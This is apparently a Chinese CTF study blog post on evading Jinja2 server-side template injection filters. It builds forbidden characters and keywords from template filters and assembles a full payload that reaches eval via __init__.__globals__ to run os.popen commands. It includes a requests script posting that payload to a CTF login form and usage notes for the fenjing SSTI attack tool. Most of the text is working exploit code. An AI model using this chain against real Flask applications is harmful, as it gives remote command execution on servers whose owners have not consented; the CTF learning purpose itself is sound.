python SSTI 过滤器绕过
基本原理
这是一种针对python SSTI复合绕过技术,探索的是在不禁用{ } % ~ ( ) |
以及一部分四则运算符的情况下,禁用了其他的大量符号关键字的情况下如何通过逐字拼接实现绕过.
首先先来看一下jinjia2提供的前端模板过滤器
issubclass(A,B) #判断A类是否是B类的子类
int()#将值转换为int类型
float()#将值转换为float类型
lower()#将字符串转换为小写;
upper()#将字符串转换为大写;
title()#把值中的每个单词的首字母都转成大写;
capitalize()#把变量值的首字母转成大写,其余字母转小写;
trim()#截取字符串前面和后面的空白字符;
wordcount()#计算一个长字符串中单词的个数;
reverse()#字符串反转;
replace(value,old,new)#替换将old替换为new的字符串;
truncate(value,length=255,killwords=False)#截取length长度的字符串;
striptags()#删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e#转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
safe()#禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例:{{'<em>hello</em>'|safe}};
list()#将变量列成列表;
string()#将变量转换成字符串;
join()#将一个序列中的参数值拼接成字符串。如果是字典的话只会对
abs()#返回一个数值的绝对值;
first()#返回一个序列的第一个元素;
last()#返回一个序列的最后一个元素;
format(value,arags,*kwargs)#格式化字符串。比如:{{ "%s" -"%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
length()#返回一个序列或者字典的长度;
sum()#返回列表内数值的和;
sort()#返回排序后的列表;
default(value,default_value,boolean=false)#如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。
boolean=False#默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
length()#返回字符串的长度,别名是count
select() #通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。如果没有指定测试,则每个对象都将被计算为布尔值,可以用来获取字符串实际使用为 ()|select|string结果如下<generator object select_or_reject at 0x0000022717FF33C0>
这些过滤器将是我们操作的重点.
在jinjia2中可以使用~用来拼接变量.
在自搭的flask网站中测试下面三个语句
{{self}} #<TemplateReference None>
{{self|int}} #0
{% set zero = (self|int) %} #0
然后我们可以利用四则运算和绝对值过滤得到所有的数字
{% set zero = (self|int) %} #0
{% set one = (zero**zero)|int %} #1
{% set two = (zero-one-one)|abs %} #2
{% set three = (zero-one-one-one)|abs %} #3
{% set four = (two*two)|int %} #4
{% set five = (two*two*two-one-one-one) |int %} #5
{% set six=(three*two)|int%} #6
{% set seven = (zero-one-one-five)|abs %} #7
{% set eight=(two*four) |int %} #8
{% set nine = (zero-seven-one-one)|abs %} #9
然后我们尝试获取%c
{% set c = dict(c=aa)|reverse|first %} #c
{% set bfh = self|string|urlencode|first %} #%
{% set bfhc=bfh~c %} #%c
那么此时我们理论上无敌了,可以拼接出来所有的ascii值
先拼几个SSTI中常用的字符
{% set slas = bfhc%((four~seven)|int) %} #/
{% set yin = bfhc%((three~nine)|int) %} #'
{% set xhx = bfhc%((nine~five)|int) %} #_
{% set right = bfhc%((four~one)|int) %} #)
{% set left = bfhc%((four~zero)|int) %} #(
{% set space = bfhc%((three~two)|int) %} #空格
{% set point = bfhc%((four~six)|int)%} #.
{% set leftsquare = bfhc%((nine~one)|int) %} #[
{% set rightsquare =bfhc%((nine~three)|int) %} #]
然后我们利用join来进行关键字的拼接,实现对于一些关键词的获取
{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set sl = dict(l=aa,s=bb)|join %} # ls
{% set dri = dict(di=aa,r=bb)|join %} #dir
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__
{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items
这是一些常用的,没有的需要根据情况去现写
接下来是对其进行拼接,如下:
拼接__import__('os').popen('dir').read():
{% set pld = xhx*2~imp~xhx*2~left~yin~so~yin~right~point~pon~left~yin~dri~yin~right~point~red~left~right %}
很显然,这个pld不能直接扔到{{}}中,否则会触发jinjia2自身的防护,所以我们需要按照SSTI的规则给他套个壳子.下面是两个不同情况的模板.
当可以使用attr,但是不能使用.的时候:
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
{% if f == bul %}
{% for a,b in (v|attr(itm))() %}
{% if a == ev %}
{{b(pld)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
当可以使用.,但是不能使用attr的时候
{% for f,v in self.__init__.__globals__.items() %}
{% if f == bul %}
{% for a,b in v.items() %}
{% if a == ev %}
{{b(pld)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
实际上第一个就是第二个的attr绕过.的版本,在SSTi中进行过学习.
组合起来为(使用attr版本):
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set three = (zero-one-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two-one-one-one)|int %}
{% set six=(three*two)|int%}
{% set seven = (zero-one-one-five)|abs %}
{% set eight=(two*four) |int %}
{% set nine = (zero-seven-one-one)|abs %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set space = bfhc%((three~two)|int) %}
{% set point = bfhc%((four~six)|int) %}
{% set leftsquare = bfhc%((nine~one)|int) %}
{% set rightsquare =bfhc%((nine~three)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set sl = dict(l=aa,s=bb)|join %}
{% set dri = dict(di=aa,r=bb)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %}
{% set pld = xhx*2~imp~xhx*2~left~yin~so~yin~right~point~pon~left~yin~dri~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
{% if f == bul %}
{% for a,b in (v|attr(itm))() %}
{% if a == ev %}
{{b(pld)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
真题演练
## [Dest0g3 520迎新赛]EasySSTI
上来给了一个登录框,在username处存在SSTI漏洞,经过测试发现_ [] .空格以及一些关键词被禁.禁的这么全,肯定优先考虑过滤器绕过.我们写出下面的脚本
import requests
url="http://a67174e1-89ae-495d-8947-d3d7355eeefb.node5.buuoj.cn:81/login"
payload="""
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set three = (zero-one-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two-one-one-one)|int %}
{% set six=(three*two)|int%}
{% set seven = (zero-one-one-five)|abs %}
{% set eight=(two*four) |int %}
{% set nine = (zero-seven-one-one)|abs %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set space = bfhc%((three~two)|int) %}
{% set point = bfhc%((four~six)|int) %}
{% set leftsquare = bfhc%((nine~one)|int) %}
{% set rightsquare =bfhc%((nine~three)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set sl = dict(l=aa,s=bb)|join %}
{% set dri = dict(di=aa,r=bb)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %}
{% set pld = xhx*2~imp~xhx*2~left~yin~so~yin~right~point~pon~left~yin~dri~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
{% if f == bul %}
{% for a,b in (v|attr(itm))() %}
{% if a == ev %}
{{b(pld)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
"""
payload=payload.replace(" ","\n")
data={"username":payload,"password":"aaa"}
print(requests.post(data=data,url=url).text)
成功查看当前目录,然后相应的进行读flag操作即可.
fenjing
在研究一晚上以后se学长说有一个fenjing自动化脚本,功能较为强大,尝试了一下,发现果然强大.
在windows的powshell下使用即可,用法如下:
Usage: python -m fenjing scan [OPTIONS]
扫描指定的网站
Options:
-u, --url TEXT 需要扫描的URL
-e, --exec-cmd TEXT 成功后执行的shell指令,不填则进入交互模式
--interval FLOAT 每次请求的间隔
--detect-mode TEXT 检测模式,可为accurate或fast
--user-agent TEXT 请求时使用的User Agent
--header TEXT 请求时使用的Headers
--cookies TEXT 请求时使用的Cookie
--help Show this message and exit.
Usage: python -m fenjing crack [OPTIONS]
攻击指定的表单
Options:
-u, --url TEXT form所在的URL
-a, --action TEXT form的action,默认为当前路径
-m, --method TEXT form的提交方式,默认为POST
-i, --inputs TEXT form的参数,以逗号分隔
-e, --exec-cmd TEXT 成功后执行的shell指令,不填则成功后进入交互模式
--interval FLOAT 每次请求的间隔
--detect-mode TEXT 分析模式,可为accurate或fast
--user-agent TEXT 请求时使用的User Agent
--header TEXT 请求时使用的Headers
--cookies TEXT 请求时使用的Cookie
--help Show this message and exit.
Usage: python -m fenjing get-config [OPTIONS]
攻击指定的表单,并获得目标服务器的flask config
Options:
-u, --url TEXT form所在的URL
其中比较关键的两个是-u和--detect-mode
下面是一个示例
python -m fenjing scan --url http://a67174e1-89ae-495d-8947-d3d7355eeefb.node5.buuoj.cn:81/ --detect-mode accurate
于是成功的getshell,看了一下他的payload,也是用的set,不过更为简短一些.

浙公网安备 33010602011771号